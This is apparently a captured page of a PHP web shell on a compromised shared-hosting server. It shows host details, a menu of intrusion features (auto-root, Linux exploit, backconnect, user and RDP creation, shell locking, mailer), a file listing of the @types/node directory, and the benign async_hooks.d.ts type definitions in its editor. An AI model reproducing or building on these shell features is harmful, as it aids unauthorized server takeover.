Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@types /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
1.11
KB
-rwxr-xr-x
README.md
2.24
KB
-rwxr-xr-x
assert.d.ts
4.97
KB
-rwxr-xr-x
async_hooks.d.ts
10.58
KB
-rwxr-xr-x
buffer.d.ts
706
B
-rwxr-xr-x
child_process.d.ts
24.97
KB
-rwxr-xr-x
cluster.d.ts
15.78
KB
-rwxr-xr-x
console.d.ts
51
B
-rwxr-xr-x
constants.d.ts
22.43
KB
-rwxr-xr-x
crypto.d.ts
44.69
KB
-rwxr-xr-x
dgram.d.ts
5.82
KB
-rwxr-xr-x
dns.d.ts
15.86
KB
-rwxr-xr-x
domain.d.ts
547
B
-rwxr-xr-x
events.d.ts
1.83
KB
-rwxr-xr-x
fs.d.ts
135.98
KB
-rwxr-xr-x
globals.d.ts
49.15
KB
-rwxr-xr-x
globals.global.d.ts
55
B
-rwxr-xr-x
http.d.ts
23.57
KB
-rwxr-xr-x
http2.d.ts
55.76
KB
-rwxr-xr-x
https.d.ts
12.14
KB
-rwxr-xr-x
index.d.ts
4.29
KB
-rwxr-xr-x
inspector.d.ts
120.65
KB
-rwxr-xr-x
module.d.ts
56
B
-rwxr-xr-x
net.d.ts
13.21
KB
-rwxr-xr-x
os.d.ts
7.78
KB
-rwxr-xr-x
package.json
5.74
KB
-rwxr-xr-x
path.d.ts
5.85
KB
-rwxr-xr-x
perf_hooks.d.ts
9.71
KB
-rwxr-xr-x
process.d.ts
517
B
-rwxr-xr-x
punycode.d.ts
3.39
KB
-rwxr-xr-x
querystring.d.ts
1.07
KB
-rwxr-xr-x
readline.d.ts
6.98
KB
-rwxr-xr-x
repl.d.ts
17.67
KB
-rwxr-xr-x
stream.d.ts
17.88
KB
-rwxr-xr-x
string_decoder.d.ts
185
B
-rwxr-xr-x
timers.d.ts
826
B
-rwxr-xr-x
tls.d.ts
34.33
KB
-rwxr-xr-x
trace_events.d.ts
2.06
KB
-rwxr-xr-x
tty.d.ts
2.38
KB
-rwxr-xr-x
url.d.ts
4.34
KB
-rwxr-xr-x
util.d.ts
12.06
KB
-rwxr-xr-x
v8.d.ts
6.76
KB
-rwxr-xr-x
vm.d.ts
4.79
KB
-rwxr-xr-x
wasi.d.ts
2.2
KB
-rwxr-xr-x
worker_threads.d.ts
9.49
KB
-rwxr-xr-x
zlib.d.ts
13.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : async_hooks.d.ts
/** * Async Hooks module: https://nodejs.org/api/async_hooks.html */ declare module 'async_hooks' { /** * Returns the asyncId of the current execution context. */ function executionAsyncId(): number; /** * The resource representing the current execution. * Useful to store data within the resource. * * Resource objects returned by `executionAsyncResource()` are most often internal * Node.js handle objects with undocumented APIs. Using any functions or properties * on the object is likely to crash your application and should be avoided. * * Using `executionAsyncResource()` in the top-level execution context will * return an empty object as there is no handle or request object to use, * but having an object representing the top-level can be helpful. */ function executionAsyncResource(): object; /** * Returns the ID of the resource responsible for calling the callback that is currently being executed. */ function triggerAsyncId(): number; interface HookCallbacks { /** * Called when a class is constructed that has the possibility to emit an asynchronous event. * @param asyncId a unique ID for the async resource * @param type the type of the async resource * @param triggerAsyncId the unique ID of the async resource in whose execution context this async resource was created * @param resource reference to the resource representing the async operation, needs to be released during destroy */ init?(asyncId: number, type: string, triggerAsyncId: number, resource: object): void; /** * When an asynchronous operation is initiated or completes a callback is called to notify the user. * The before callback is called just before said callback is executed. * @param asyncId the unique identifier assigned to the resource about to execute the callback. */ before?(asyncId: number): void; /** * Called immediately after the callback specified in before is completed. * @param asyncId the unique identifier assigned to the resource which has executed the callback. */ after?(asyncId: number): void; /** * Called when a promise has resolve() called. This may not be in the same execution id * as the promise itself. * @param asyncId the unique id for the promise that was resolve()d. */ promiseResolve?(asyncId: number): void; /** * Called after the resource corresponding to asyncId is destroyed * @param asyncId a unique ID for the async resource */ destroy?(asyncId: number): void; } interface AsyncHook { /** * Enable the callbacks for a given AsyncHook instance. If no callbacks are provided enabling is a noop. */ enable(): this; /** * Disable the callbacks for a given AsyncHook instance from the global pool of AsyncHook callbacks to be executed. Once a hook has been disabled it will not be called again until enabled. */ disable(): this; } /** * Registers functions to be called for different lifetime events of each async operation. * @param options the callbacks to register * @return an AsyncHooks instance used for disabling and enabling hooks */ function createHook(options: HookCallbacks): AsyncHook; interface AsyncResourceOptions { /** * The ID of the execution context that created this async event. * @default executionAsyncId() */ triggerAsyncId?: number | undefined; /** * Disables automatic `emitDestroy` when the object is garbage collected. * This usually does not need to be set (even if `emitDestroy` is called * manually), unless the resource's `asyncId` is retrieved and the * sensitive API's `emitDestroy` is called with it. * @default false */ requireManualDestroy?: boolean | undefined; } /** * The class AsyncResource was designed to be extended by the embedder's async resources. * Using this users can easily trigger the lifetime events of their own resources. */ class AsyncResource { /** * AsyncResource() is meant to be extended. Instantiating a * new AsyncResource() also triggers init. If triggerAsyncId is omitted then * async_hook.executionAsyncId() is used. * @param type The type of async event. * @param triggerAsyncId The ID of the execution context that created * this async event (default: `executionAsyncId()`), or an * AsyncResourceOptions object (since 9.3) */ constructor(type: string, triggerAsyncId?: number|AsyncResourceOptions); /** * Binds the given function to the current execution context. * @param fn The function to bind to the current execution context. * @param type An optional name to associate with the underlying `AsyncResource`. */ static bind<Func extends (...args: any[]) => any>(fn: Func, type?: string): Func & { asyncResource: AsyncResource }; /** * Binds the given function to execute to this `AsyncResource`'s scope. * @param fn The function to bind to the current `AsyncResource`. */ bind<Func extends (...args: any[]) => any>(fn: Func): Func & { asyncResource: AsyncResource }; /** * Call the provided function with the provided arguments in the * execution context of the async resource. This will establish the * context, trigger the AsyncHooks before callbacks, call the function, * trigger the AsyncHooks after callbacks, and then restore the original * execution context. * @param fn The function to call in the execution context of this * async resource. * @param thisArg The receiver to be used for the function call. * @param args Optional arguments to pass to the function. */ runInAsyncScope<This, Result>(fn: (this: This, ...args: any[]) => Result, thisArg?: This, ...args: any[]): Result; /** * Call AsyncHooks destroy callbacks. */ emitDestroy(): this; /** * @return the unique ID assigned to this AsyncResource instance. */ asyncId(): number; /** * @return the trigger ID for this AsyncResource instance. */ triggerAsyncId(): number; } /** * When having multiple instances of `AsyncLocalStorage`, they are independent * from each other. It is safe to instantiate this class multiple times. */ class AsyncLocalStorage<T> { /** * This method disables the instance of `AsyncLocalStorage`. All subsequent calls * to `asyncLocalStorage.getStore()` will return `undefined` until * `asyncLocalStorage.run()` or `asyncLocalStorage.runSyncAndReturn()` * is called again. * * When calling `asyncLocalStorage.disable()`, all current contexts linked to the * instance will be exited. * * Calling `asyncLocalStorage.disable()` is required before the * `asyncLocalStorage` can be garbage collected. This does not apply to stores * provided by the `asyncLocalStorage`, as those objects are garbage collected * along with the corresponding async resources. * * This method is to be used when the `asyncLocalStorage` is not in use anymore * in the current process. */ disable(): void; /** * This method returns the current store. * If this method is called outside of an asynchronous context initialized by * calling `asyncLocalStorage.run` or `asyncLocalStorage.runAndReturn`, it will * return `undefined`. */ getStore(): T | undefined; /** * Calling `asyncLocalStorage.run(callback)` will create a new asynchronous * context. * Within the callback function and the asynchronous operations from the callback, * `asyncLocalStorage.getStore()` will return an instance of `Map` known as * "the store". This store will be persistent through the following * asynchronous calls. * * The callback will be ran asynchronously. Optionally, arguments can be passed * to the function. They will be passed to the callback function. * * If an error is thrown by the callback function, it will not be caught by * a `try/catch` block as the callback is ran in a new asynchronous resource. * Also, the stacktrace will be impacted by the asynchronous call. */ // TODO: Apply generic vararg once available run(store: T, callback: (...args: any[]) => void, ...args: any[]): void; /** * Calling `asyncLocalStorage.exit(callback)` will create a new asynchronous * context. * Within the callback function and the asynchronous operations from the callback, * `asyncLocalStorage.getStore()` will return `undefined`. * * The callback will be ran asynchronously. Optionally, arguments can be passed * to the function. They will be passed to the callback function. * * If an error is thrown by the callback function, it will not be caught by * a `try/catch` block as the callback is ran in a new asynchronous resource. * Also, the stacktrace will be impacted by the asynchronous call. */ exit(callback: (...args: any[]) => void, ...args: any[]): void; /** * This methods runs a function synchronously outside of a context and return its * return value. The store is not accessible within the callback function or * the asynchronous operations created within the callback. * * Optionally, arguments can be passed to the function. They will be passed to * the callback function. * * If the callback function throws an error, it will be thrown by * `exitSyncAndReturn` too. The stacktrace will not be impacted by this call and * the context will be re-entered. */ exitSyncAndReturn<R>(callback: (...args: any[]) => R, ...args: any[]): R; /** * Calling `asyncLocalStorage.enterWith(store)` will transition into the context * for the remainder of the current synchronous execution and will persist * through any following asynchronous calls. */ enterWith(store: T): void; } }
Close